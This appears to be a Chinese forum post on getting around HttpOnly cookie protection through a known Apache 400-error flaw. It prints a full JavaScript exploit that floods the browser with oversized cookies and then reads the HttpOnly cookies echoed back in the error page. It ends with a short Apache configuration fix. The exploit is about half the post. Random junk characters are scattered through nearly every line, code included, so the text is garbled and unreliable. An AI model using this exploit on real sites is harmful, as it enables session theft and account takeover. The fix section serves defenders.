很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。7 O9 w# X) m' F
' O: d- o! v& L" s/ n8 H用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
; a; I# L1 M0 m. s% h
* l8 T5 K' x. X; o( y3 P6 r0 e7 C% t4 f$ h
// http://www.exploit-db.com/exploits/18442/* A/ V1 _5 N' w2 z- I& s& T, ?9 y
function setCookies (good) {
6 l. `3 W4 e$ I) a1 R// Construct string for cookie value
5 q( V. _6 m8 M* l+ @0 b2 cvar str = "";
: b- J8 q9 W4 j& r+ \" I% C4 ]" W% Xfor (var i=0; i< 819; i++) {
. C6 y4 y$ G. _# Xstr += "x";0 e! E& {4 C/ W( T6 Z5 s: `' h6 J
}: J; d8 J/ E: z. o+ Z" G
// Set cookies
# M* x# s8 q( b4 { `( t! `for (i = 0; i < 10; i++) {
! u" @3 X. T: g5 c' j- @9 L// Expire evil cookie
# B3 z$ a% A- M! d3 v/ eif (good) {3 v \5 ^" m0 @- r
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";* h4 `% y% q8 L: b9 Y# W+ u% v2 p2 E
}
6 D) P0 Z# V8 x. ?# F# U8 ~' e4 P2 _// Set evil cookie; Q" q; i- o9 S, y8 `+ O9 L$ A
else {" o: B( c- ^, m% ?8 Q, L* i4 l
var cookie = "xss"+i+"="+str+";path=/";
7 f, \" e; {( G}
. ], H) ^+ A9 H, _3 t0 ddocument.cookie = cookie;1 R0 |1 v+ r. a* q1 c
}5 f5 i: u9 O8 G R5 b9 Z; x
}
: c5 F/ U. [6 Y2 U1 qfunction makeRequest() {% Q' ^2 O/ S1 K+ v
setCookies();$ _; `2 N9 S( m k$ o- u g2 T1 g7 P8 O
function parseCookies () {4 ^8 V/ p; i9 Z. E) M/ ^# Q
var cookie_dict = {}; y; `) R1 F; P* r H
// Only react on 400 status) H8 A4 {# V& I9 G; ~5 T# C
if (xhr.readyState === 4 && xhr.status === 400) {: ~/ P m8 J: Z& f& i4 ?2 |
// Replace newlines and match <pre> content1 M, n0 u+ ^! n' D! {( _8 }, j4 Z, L
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
4 h( f- c+ U* P: T! }if (content.length) {! Z0 U1 F S* L w' e# Y" Z, H
// Remove Cookie: prefix
u3 X2 _( f1 J0 M: Z* kcontent = content[1].replace("Cookie: ", ""); U: H) |/ g+ q3 l
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);/ K y+ F" }( _) C# O) w
// Add cookies to object
. O2 U5 [1 I5 Lfor (var i=0; i<cookies.length; i++) {* [( b1 V- @& S# @3 C
var s_c = cookies.split('=',2);
- b' z# w4 i$ @7 {/ L6 [cookie_dict[s_c[0]] = s_c[1];/ e0 H, e% ~/ C. Q, r$ O2 h
}/ E q6 G% x1 }4 f/ L: @9 C
}
3 s7 \" V/ B6 ], A# n2 {// Unset malicious cookies5 Q8 Z r* \6 ]5 {& I3 p
setCookies(true);
* z" e+ o/ s5 b3 Walert(JSON.stringify(cookie_dict));0 Z6 i t N6 [$ L# s
}% i+ H! c; ?" q
}3 a0 [; U$ N$ P0 |$ l- E8 R! Z
// Make XHR request% q8 `0 v6 e% @5 {
var xhr = new XMLHttpRequest();
" ]2 F1 |5 P+ c) S- ?% Zxhr.onreadystatechange = parseCookies; e% |- O. ~: ~2 X" P
xhr.open("GET", "/", true);
: b0 N/ z8 E* V l) J; yxhr.send(null);: u$ W4 V8 ?& [. A2 a: l5 U9 F
}
2 D1 f* G5 w; E+ l' D# q* pmakeRequest();
* d5 S& z6 P' E: q9 w$ D9 N/ V
$ k; V7 ~4 A+ [# r9 o6 j9 H' t. m你就能看见华丽丽的400错误包含着cookie信息。
! C: |: C$ O2 K9 A5 D! q
& e* \4 V/ N8 ^6 _- @& v下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#/ h. G% ]3 l9 n% T. _3 Z
( |. B6 ?; n% n, s修复方案:
# h% b i- o" b/ q! o* ?6 l; @; i$ m! R2 o" ?4 x% {
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
5 n! E2 i: h9 k/ M+ w8 G1 s: }7 b: V U3 z
In the event of a problem or error, Apachecan be configured to do one of four things,
( V% X0 W( D' o U4 [- _) [7 I8 E( o% h5 L3 R+ c0 s
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息* F( a0 G4 _7 F/ R
2. output acustomized message输出一段信息( F9 I5 M5 E$ F4 ]. a
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
8 f: }- n9 G$ P$ `& _9 }4. redirect to an external URL to handle theproblem/error转向一个外部URL' i) G4 v. H. Z' k) v3 ~$ t$ b% E1 W
" F3 Y- s3 D' b( Y' }
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容 j; e5 {) D: O1 k0 r, B
$ p. M! a# Q, h& S1 b
Apache配置:
- k/ ?3 _9 G& z2 S% r8 l2 t3 ?+ N' ?1 F/ K- }+ @) p% O1 w
ErrorDocument400 " security test"0 y( J0 n5 f$ b) a( m
9 J* X* p8 x) v& U
当然,升级apache到最新也可:)。
9 k) c/ n S0 [# U/ p* `$ M
- A( e- [' ^. l参考:http://httpd.apache.org/security/vulnerabilities_22.html- }! I& [6 Q/ \ q% E5 b
. V0 l9 u o9 R8 A |